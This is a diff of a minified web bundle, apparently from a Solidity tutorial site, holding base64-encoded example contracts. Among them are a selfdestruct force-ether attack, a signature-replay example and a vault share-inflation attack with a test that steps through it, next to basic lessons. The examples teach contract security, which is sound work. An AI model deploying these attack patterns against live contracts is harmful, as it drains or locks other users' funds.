                              `,yZ=({prev:s,next:a})=>i.jsx(u,{version:dZ,title:IZ,description:CZ,html:uZ,prev:s,next:a,codes:jZ}),mZ="0.8.20",AZ="Self Destruct",bZ="An example of how to delete your smart contract by calling seldestruct in Solidity",wZ=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCA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zdHJ1Y3QoYWRkcik7CiAgICB9Cn0K"},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBiYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],kZ=`

                              Contracts can be deleted from the blockchain by calling selfdestruct.

                              selfdestruct sends all remaining Ether stored in the contract to a designated address.

                              Vulnerability

                              @@ -8420,7 +8420,7 @@ Now no one can deposit and the winner cannot be set. require(sent, "Failed to send Ether"); } } -`,bZ=({prev:s,next:a})=>i.jsx(u,{version:jZ,title:uZ,description:yZ,html:AZ,prev:s,next:a,codes:mZ}),wZ="0.8.20",kZ="Signature Replay",ZZ="An example of a contract vulnerable to signature replay attack",WZ=[{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGV4ZWN1dGVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcigKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWdzCiAgICApIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQsIF9ub25jZSk7CiAgICAgICAgcmVxdWlyZSghZXhlY3V0ZWRbdHhIYXNoXSwgInR4IGV4ZWN1dGVkIik7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgZXhlY3V0ZWRbdHhIYXNoXSA9IHRydWU7CgogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKAogICAgICAgIGFkZHJlc3MgX3RvLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGFkZHJlc3ModGhpcyksIF90bywgX2Ftb3VudCwgX25vbmNlKSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ3MsCiAgICAgICAgYnl0ZXMzMiBfdHhIYXNoCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CgovKgovLyBvd25lcnMKMHhlMTlhZWE5M0Y2QzFkQmVmNk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AgYWRkcmVzcyBzaWduZXIgPSBldGhTaWduZWRIYXNoLnJlY292ZXIoX3NpZ3NbaV0pOwogICAgICAgICAgICBib29sIHZhbGlkID0gc2lnbmVyID09IG93bmVyc1tpXTsKCiAgICAgICAgICAgIGlmICghdmFsaWQpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9Cn0K"}],BZ=`

                              Signing messages off-chain and having a contract that requires that signature before executing +`,ZZ=({prev:s,next:a})=>i.jsx(u,{version:mZ,title:AZ,description:bZ,html:kZ,prev:s,next:a,codes:wZ}),WZ="0.8.20",BZ="Signature Replay",GZ="An example of a contract vulnerable to signature replay attack",fZ=[{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGV4ZWN1dGVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcigKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWdzCiAgICApIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQsIF9ub25jZSk7CiAgICAgICAgcmVxdWlyZSghZXhlY3V0ZWRbdHhIYXNoXSwgInR4IGV4ZWN1dGVkIik7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgZXhlY3V0ZWRbdHhIYXNoXSA9IHRydWU7CgogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKAogICAgICAgIGFkZHJlc3MgX3RvLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGFkZHJlc3ModGhpcyksIF90bywgX2Ftb3VudCwgX25vbmNlKSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ3MsCiAgICAgICAgYnl0ZXMzMiBfdHhIYXNoCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgIC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iAgICBmdW5jdGlvbiBfY2hlY2tTaWdzKAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncywKICAgICAgICBieXRlczMyIF90eEhhc2gKICAgICkgcHJpdmF0ZSB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICBieXRlczMyIGV0aFNpZ25lZEhhc2ggPSBfdHhIYXNoLnRvRXRoU2lnbmVkTWVzc2FnZUhhc2goKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3NpZ3MubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYWRkcmVzcyBzaWduZXIgPSBldGhTaWduZWRIYXNoLnJlY292ZXIoX3NpZ3NbaV0pOwogICAgICAgICAgICBib29sIHZhbGlkID0gc2lnbmVyID09IG93bmVyc1tpXTsKCiAgICAgICAgICAgIGlmICghdmFsaWQpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9Cn0K"}],VZ=`

                              Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

                              For example this technique is used to:

                                @@ -8556,7 +8556,7 @@ if the signer's intention was to approve a transaction once.

                                0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad6d1138a60923b801c 0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8db0e4d9796935cb1b */ -`,GZ=({prev:s,next:a})=>i.jsx(u,{version:wZ,title:kZ,description:ZZ,html:BZ,prev:s,next:a,codes:WZ}),fZ="0.8.20",VZ="Vault Inflation",vZ="An example of vault inflation",YZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIwOwoKaW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aGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIC8vIEluZmxhdGlvbiBhdHRhY2sgLy8KICAgIC8vIDEuIFVzZXIgMCBkZXBvc2l0cyAxCiAgICAvLyAyLiBVc2VyIDAgZG9uYXRlcyAxMDAgKiAxZTE4CiAgICAvLyAzLiBVc2VyIDEgZGVwb3NpdHMgMTAwICogMWUxOCAtPiAwIHNoYXJlcyBtaW50ZWQKICAgIC8vIDQuIFVzZXIgMCB3aXRoZHJhd3MgMjAwICogMWUxOCArIDEKICAgIC8vCiAgICAvLyB1c2VyIDEgc2hhcmVzID0gMTAwICogMWUxOCAqIDEgLyAoMTAwICogMWUxOCArIDEpCiAgICAvLyAgICAgICAgICAgICAgID0gMAogICAgLy8KICAgIC8vICAgIHwgYmFsYW5jZSAgICAgICAgfCB1c2VyIDAgc2hhcmVzIHwgdXNlciAxIHNoYXJlcyB8IHRvdGFsIHN1cHBseSB8CiAgICAvLyAxLiB8ICAgICAgICAgICAgICAxIHwgICAgICAgICAgICAgMSB8ICAgICAgICAgICAgIDAgfCAgICAgICAgICAgIDEgfAogICAgLy8gMi4gfCAxMDAgKiAxZTE4ICsgMSB8ICAgICAgICAgICAgIDEgfCAgICAgICAgICAgICAwIHwgICAgICAgICAgICAxIHwKICAgIC8vIDMuIHwgMjAwICogMWUxOCArIDEgfCAgICAgICAgICAgICAxIHwgICAgICAgICAgICAgMCB8ICAgICAgICAgICAgMSB8CiAgICAvLyA0LiB8ICAgICAgICAgICAgICAwIHwgICAgICAgICAgICAgMCB8ICAgICAgICAgICAgIDAgfCAgICAgICAgICAgIDAgfAoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHNoYXJlczsKICAgICAgICBpZiAodG90YWxTdXBwbHkgP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0oc2hhcmVzMCkpOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMV0gcmVkZWVtYWJsZSIsIHZhdWx0LnByZXZpZXdSZWRlZW0oc2hhcmVzMSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIC8vIHVzZXJzWzBdIGRlcG9zaXQgMQogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzBdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMSk7CiAgICAgICAgcHJpbnQoKTsKCiAgICAgICAgLy8gdXNlcnNbMF0gZG9uYXRlIDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzBdIGRvbmF0ZSAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1swXSk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIoYWRkcmVzcyh2YXVsdCksIDEwMCAqICgxMCAqKiBERUNJTUFMUykpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzFdIGRlcG9zaXQgMTAwCiAgICAgICAgY29uc29sZTIubG9nKCItLS0gdXNlcnNbMV0gZGVwb3NpdCAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1sxXSk7CiAgICAgICAgdmF1bHQuZGVwb3NpdCgxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwogICAgfQp9"}],RZ=`

                                Vulnerability

                                +`,vZ=({prev:s,next:a})=>i.jsx(u,{version:WZ,title:BZ,description:GZ,html:VZ,prev:s,next:a,codes:fZ}),YZ="0.8.20",RZ="Vault Inflation",XZ="An example of vault inflation",HZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIwOwoKaW1wb3J0IHt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HByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIC8vIEluZmxhdGlvbiBhdHRhY2sgLy8KICAgIC8vIDEuIFVzZXIgMCBkZXBvc2l0cyAxCiAgICAvLyAyLiBVc2VyIDAgZG9uYXRlcyAxMDAgKiAxZTE4CiAgICAvLyAzLiBVc2VyIDEgZGVwb3NpdHMgMTAwICogMWUxOCAtPiAwIHNoYXJlcyBtaW50ZWQKICAgIC8vIDQuIFVzZXIgMCB3aXRoZHJhd3MgMjAwICogMWUxOCArIDEKICAgIC8vCiAgICAvLyB1c2VyIDEgc2hhcmVzID0gMTAwICogMWUxOCAqIDEgLyAoMTAwICogMWUxOCArIDEpCiAgICAvLyAgICAgICAgICAgICAgID0gMAogICAgLy8KICAgIC8vICAgIHwgYmFsYW5jZSAgICAgICAgfCB1c2VyIDAgc2hhcmVzIHwgdXNlciAxIHNoYXJlcyB8IHRvdGFsIHN1cHBseSB8CiAgICAvLyAxLiB8ICAgICAgICAgICAgICAxIHwgICAgICAgICAgICAgMSB8ICAgICAgICAgICAgIDAgfCAgICAgICAgICAgIDEgfAogICAgLy8gMi4gfCAxMDAgKiAxZTE4ICsgMSB8ICAgICAgICAgICAgIDEgfCAgICAgICAgICAgICAwIHwgICAgICAgICAgICAxIHwKICAgIC8vIDMuIHwgMjAwICogMWUxOCArIDEgfCAgICAgICAgICAgICAxIHwgICAgICAgICAgICAgMCB8ICAgICAgICAgICAgMSB8CiAgICAvLyA0LiB8ICAgICAgICAgICAgICAwIHwgICAgICAgICAgICAgMCB8ICAgICAgICAgICAgIDAgfCAgICAgICAgICAgIDAgfAoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHNoYXJlczsKICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewog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zMCkpOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMV0gcmVkZWVtYWJsZSIsIHZhdWx0LnByZXZpZXdSZWRlZW0oc2hhcmVzMSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIC8vIHVzZXJzWzBdIGRlcG9zaXQgMQogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzBdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMSk7CiAgICAgICAgcHJpbnQoKTsKCiAgICAgICAgLy8gdXNlcnNbMF0gZG9uYXRlIDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzBdIGRvbmF0ZSAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1swXSk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIoYWRkcmVzcyh2YXVsdCksIDEwMCAqICgxMCAqKiBERUNJTUFMUykpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzFdIGRlcG9zaXQgMTAwCiAgICAgICAgY29uc29sZTIubG9nKCItLS0gdXNlcnNbMV0gZGVwb3NpdCAtLS0iKTsKICAgICAgICB2bS5wcmFuayh1c2Vyc1sxXSk7CiAgICAgICAgdmF1bHQuZGVwb3NpdCgxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwogICAgfQp9"}],FZ=`

                                Vulnerability

                                Vault shares can be inflated by donating ERC20 token to the vault.

                                Attacker can exploit this behavior to steal other user's deposits.

                                Example

                                @@ -8744,7 +8744,7 @@ if the signer's intention was to approve a transaction once.

                                print(); } } -`,XZ=({prev:s,next:a})=>i.jsx(u,{version:fZ,title:VZ,description:vZ,html:RZ,prev:s,next:a,codes:YZ}),HZ="0.8.20",FZ="Hashing with Keccak256",NZ="Example of hashing using Keccak256 in Solidity",KZ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zd2VyID0KICAgICAgICAweDYwMjk4Zjc4Y2MwYjQ3MTcwYmE3OWMxMGFhMzg1MWQ3NjQ4YmQ5NmYyZjhlNDZhMTlkYmM3NzdjMzZmYjBjMDA7CgogICAgLy8gTWFnaWMgd29yZCBpcyAiU29saWRpdHkiCiAgICBmdW5jdGlvbiBndWVzcyhzdHJpbmcgbWVtb3J5IF93b3JkKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF93b3JkKSkgPT0gYW5zd2VyOwogICAgfQp9Cg=="}],SZ=`

                                keccak256 computes the Keccak-256 hash of the input.

                                +`,NZ=({prev:s,next:a})=>i.jsx(u,{version:YZ,title:RZ,description:XZ,html:FZ,prev:s,next:a,codes:HZ}),KZ="0.8.20",SZ="Hashing with Keccak256",xZ="Example of hashing using Keccak256 in Solidity",MZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKAogICAgICAgIHN0cmluZyBtZW1vcnkgX3RleHQsCiAgICAgICAgdWludCBfbnVtLAogICAgICAgIGFkZHJlc3MgX2FkZHIKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX251bSwgX2FkZHIpKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIGhhc2ggY29sbGlzaW9uCiAgICAvLyBIYXNoIGNvbGxpc2lvbiBjYW4gb2NjdXIgd2hlbiB5b3UgcGFzcyBtb3JlIHRoYW4gb25lIGR5bmFtaWMgZGF0YSB0eXBlCiAgICAvLyB0byBhYmkuZW5jb2RlUGFja2VkLiBJbiBzdWNoIGNhc2UsIHlvdSBzaG91bGQgdXNlIGFiaS5lbmNvZGUgaW5zdGVhZC4KICAgIGZ1bmN0aW9uIGNvbGxpc2lvbigKICAgICAgICBzdHJpbmcgbWVtb3J5IF90ZXh0LAogICAgICAgIHN0cmluZyBtZW1vcnkgX2Fub3RoZXJUZXh0CiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUFBLCBCQkIpIC0+IEFBQUJCQgogICAgICAgIC8vIGVuY29kZVBhY2tlZChBQSwgQUJCQikgLT4gQUFBQkJCCiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90ZXh0LCBfYW5vdGhlclRleHQpKTsKICAgIH0KfQoKY29udHJhY3QgR3Vlc3NUaGVNYWdpY1dvcmQgewogICAgYnl0ZXMzMiBwdWJsaWMgYW5zd2VyID0KICAgICAgICAweDYwMjk4Zjc4Y2MwYjQ3MTcwYmE3OWMxMGFhMzg1MWQ3NjQ4YmQ5NmYyZjhlNDZhMTlkYmM3NzdjMzZmYjBjMDA7CgogICAgLy8gTWFnaWMgd29yZCBpcyAiU29saWRpdHkiCiAgICBmdW5jdGlvbiBndWVzcyhzdHJpbmcgbWVtb3J5IF93b3JkKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF93b3JkKSkgPT0gYW5zd2VyOwogICAgfQp9Cg=="}],JZ=`

                                keccak256 computes the Keccak-256 hash of the input.

                                Some use cases are:

                                • Creating a deterministic unique ID from a input
                                • @@ -8785,7 +8785,7 @@ if the signer's intention was to approve a transaction once.

                                  return keccak256(abi.encodePacked(_word)) == answer; } } -`,xZ=({prev:s,next:a})=>i.jsx(u,{version:HZ,title:FZ,description:NZ,html:SZ,prev:s,next:a,codes:KZ}),MZ="0.8.20",JZ="Hello World",zZ="Hello world in Solidity",EZ=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yMCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjIwOwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],LZ=`

                                  pragma specifies the compiler version of Solidity.

                                  +`,zZ=({prev:s,next:a})=>i.jsx(u,{version:KZ,title:SZ,description:xZ,html:JZ,prev:s,next:a,codes:MZ}),EZ="0.8.20",LZ="Hello World",QZ="Hello world in Solidity",_Z=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yMCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjIwOwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],UZ=`

                                  pragma specifies the compiler version of Solidity.

                                  // SPDX-License-Identifier: MIT
                                   // compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
                                   pragma solidity ^0.8.20;
                                  @@ -8793,7 +8793,7 @@ if the signer's intention was to approve a transaction once.

                                  contract HelloWorld { string public greet = "Hello World!"; } -
                                  `,QZ=({prev:s,next:a})=>i.jsx(u,{version:MZ,title:JZ,description:zZ,html:LZ,prev:s,next:a,codes:EZ}),_Z="0.8.20",UZ="If / Else",TZ="If / Else conditional statement in Solidity",DZ=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludCB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iI